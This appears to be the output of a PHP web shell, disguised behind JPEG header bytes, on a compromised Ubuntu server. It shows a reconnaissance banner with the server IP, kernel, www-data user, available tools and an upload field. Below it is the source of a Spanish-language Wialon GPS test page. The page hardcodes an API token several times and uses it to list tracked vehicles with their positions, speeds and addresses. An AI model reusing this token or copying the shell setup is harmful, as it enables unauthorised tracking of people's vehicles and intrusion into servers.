����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 18.117.227.191 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/muebles/pos11/core/app/view/ |
Upload File : |
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>GPS YUSA</title> <script type="text/javascript" src="//code.jquery.com/jquery-latest.min.js"></script> <script type="text/javascript" src="//hst-api.wialon.com/wsdk/script/wialon.js"></script> </head> <h1>PRUEBA DE CONEXION AL SERVIDOR GPS</h1> <body> <input value= "5dce19710a5e26ab8b7b8986cb3c49e58C291791B7F0A7AEB8AFBFCEED7DC03BC48FF5F8" type="hidden" id="token"/> <input type="button" value="logout" id="logout_btn" /> <input type="button" value="get user" id="user_btn" /> Seleccione Unidad: <select id="units"><option></option></select> <div id="log"></div> </body> </html> <script> // Print message to log function msg(text) { $("#log").prepend(text + "<br/>"); } // Login to server using entered username and password function login() { var sess = wialon.core.Session.getInstance(); // get instance of current Session var user = sess.getCurrUser(); // get current User if( user ) { // if user exists - you are already logged, print username to log msg("You are logged as '" + user.getName()+"', click logout button first"); return; } // if not logged var token = $("#token").val(); // get token from input if (!token) { // if token is empty - print message to log msg("Enter token"); return; } msg("Intentando iniciar sesión con un token '"+ token +"'"); sess.initSession("https://hst-api.wialon.com"); // initialize Wialon session sess.loginToken(token, "", // trying login function (code) { // login callback if (code) msg(wialon.core.Errors.getErrorText(code)); // login failed, print error else msg("CONEXION EXITOSA CON Wialon!!!"); // login succeed } ); } // Logout function logout() { var user = wialon.core.Session.getInstance().getCurrUser(); // get current user if (!user){ msg("You are not logged, click 'login' button"); return; } wialon.core.Session.getInstance().logout( // if user exist - logout function (code) { // logout callback if (code) msg(wialon.core.Errors.getErrorText(code)); // logout failed, print error else msg("DESCONEXION DEL SERVIDOR"); // logout suceed } ); } // Get current user and prints its name to log function getUser() { var user = wialon.core.Session.getInstance().getCurrUser(); // get current user // print message if (!user) msg("You are not logged, click 'login' button"); // user not exists else msg("TU USUARIO ES: '" + user.getName() + "'"); // print current user name } // execute when DOM ready $(document).ready(function(){ // For more info about how to generate token check // http://sdk.wialon.com/playground/demo/app_auth_token $("#token").val("5dce19710a5e26ab8b7b8986cb3c49e58C291791B7F0A7AEB8AFBFCEED7DC03BC48FF5F8"); // bind actions to buttons click $("#login_btn").click( login ); $("#logout_btn").click( logout ); $("#user_btn").click( getUser ); }); </script> <script> // Print message to log function msg(text) { $("#log").prepend(text + "<br/>"); } function init() { // Execute after login succeed var sess = wialon.core.Session.getInstance(); // get instance of current Session // flags to specify what kind of data should be returned var flags = wialon.item.Item.dataFlag.base | wialon.item.Unit.dataFlag.lastMessage; sess.loadLibrary("itemIcon"); // load Icon Library sess.updateDataFlags( // load items to current session [{type: "type", data: "avl_unit", flags: flags, mode: 0}], // Items specification function (code) { // updateDataFlags callback if (code) { msg(wialon.core.Errors.getErrorText(code)); return; } // exit if error code // get loaded 'avl_unit's items var units = sess.getItems("avl_unit"); if (!units || !units.length){ msg("Units not found"); return; } // check if units found for (var i = 0; i< units.length; i++){ // construct Select object using found units var u = units[i]; // current unit in cycle // append option to select $("#units").append("<option value='"+ u.getId() +"'>"+ u.getName()+ "</option>"); } // bind action to select change event $("#units").change( getSelectedUnitInfo ); } ); } function getSelectedUnitInfo(){ // print information about selected Unit var val = $("#units").val(); // get selected unit id if(!val) return; // exit if no unit selected var unit = wialon.core.Session.getInstance().getItem(val); // get unit by id if(!unit){ msg("Unidad no funcionando:");return; } // exit if unit not found // construct message with unit information var text = "<div>'"+unit.getName()+"' selected. "; // get unit name var icon = unit.getIconUrl(32); // get unit Icon url if(icon) text = "<img class='icon' src='"+ icon +"' alt='icon'/>"+ text; // add icon to message var pos = unit.getPosition(); // get unit position if(pos){ // check if position data exists var time = wialon.util.DateTime.formatTime(pos.t); text += "<b>Last message</b> "+ time +"<br/>"+ // add last message time "<b>Posicion</b> "+ pos.x+", "+pos.y +"<br/>"+ // add info about unit position "<b>velocidad</b> "+ pos.s; // add info about unit speed // try to find unit location using coordinates wialon.util.Gis.getLocations([{lon:pos.x, lat:pos.y}], function(code, address){ if (code) { msg(wialon.core.Errors.getErrorText(code)); return; } // exit if error code msg(text + "<br/><b>localizacion:</b>: "+ address+"</div>"); // print message to log }); } else // position data not exists, print message msg(text + "<br/><b>localizacion</b>: desconocida</div>"); } // execute when DOM ready $(document).ready(function () { wialon.core.Session.getInstance().initSession("https://hst-api.wialon.com"); // init session // For more info about how to generate token check // http://sdk.wialon.com/playground/demo/app_auth_token wialon.core.Session.getInstance().loginToken("5dce19710a5e26ab8b7b8986cb3c49e58C291791B7F0A7AEB8AFBFCEED7DC03BC48FF5F8", "", // try to login function (code) { // login callback // if error code - print error message if (code){ msg(wialon.core.Errors.getErrorText(code)); return; } msg("Logged successfully"); init(); // when login suceed then run init() function }); }); </script> <style> #log { border: 1px solid #c6c6c6; } .icon {float:left; margin:10px;} </style>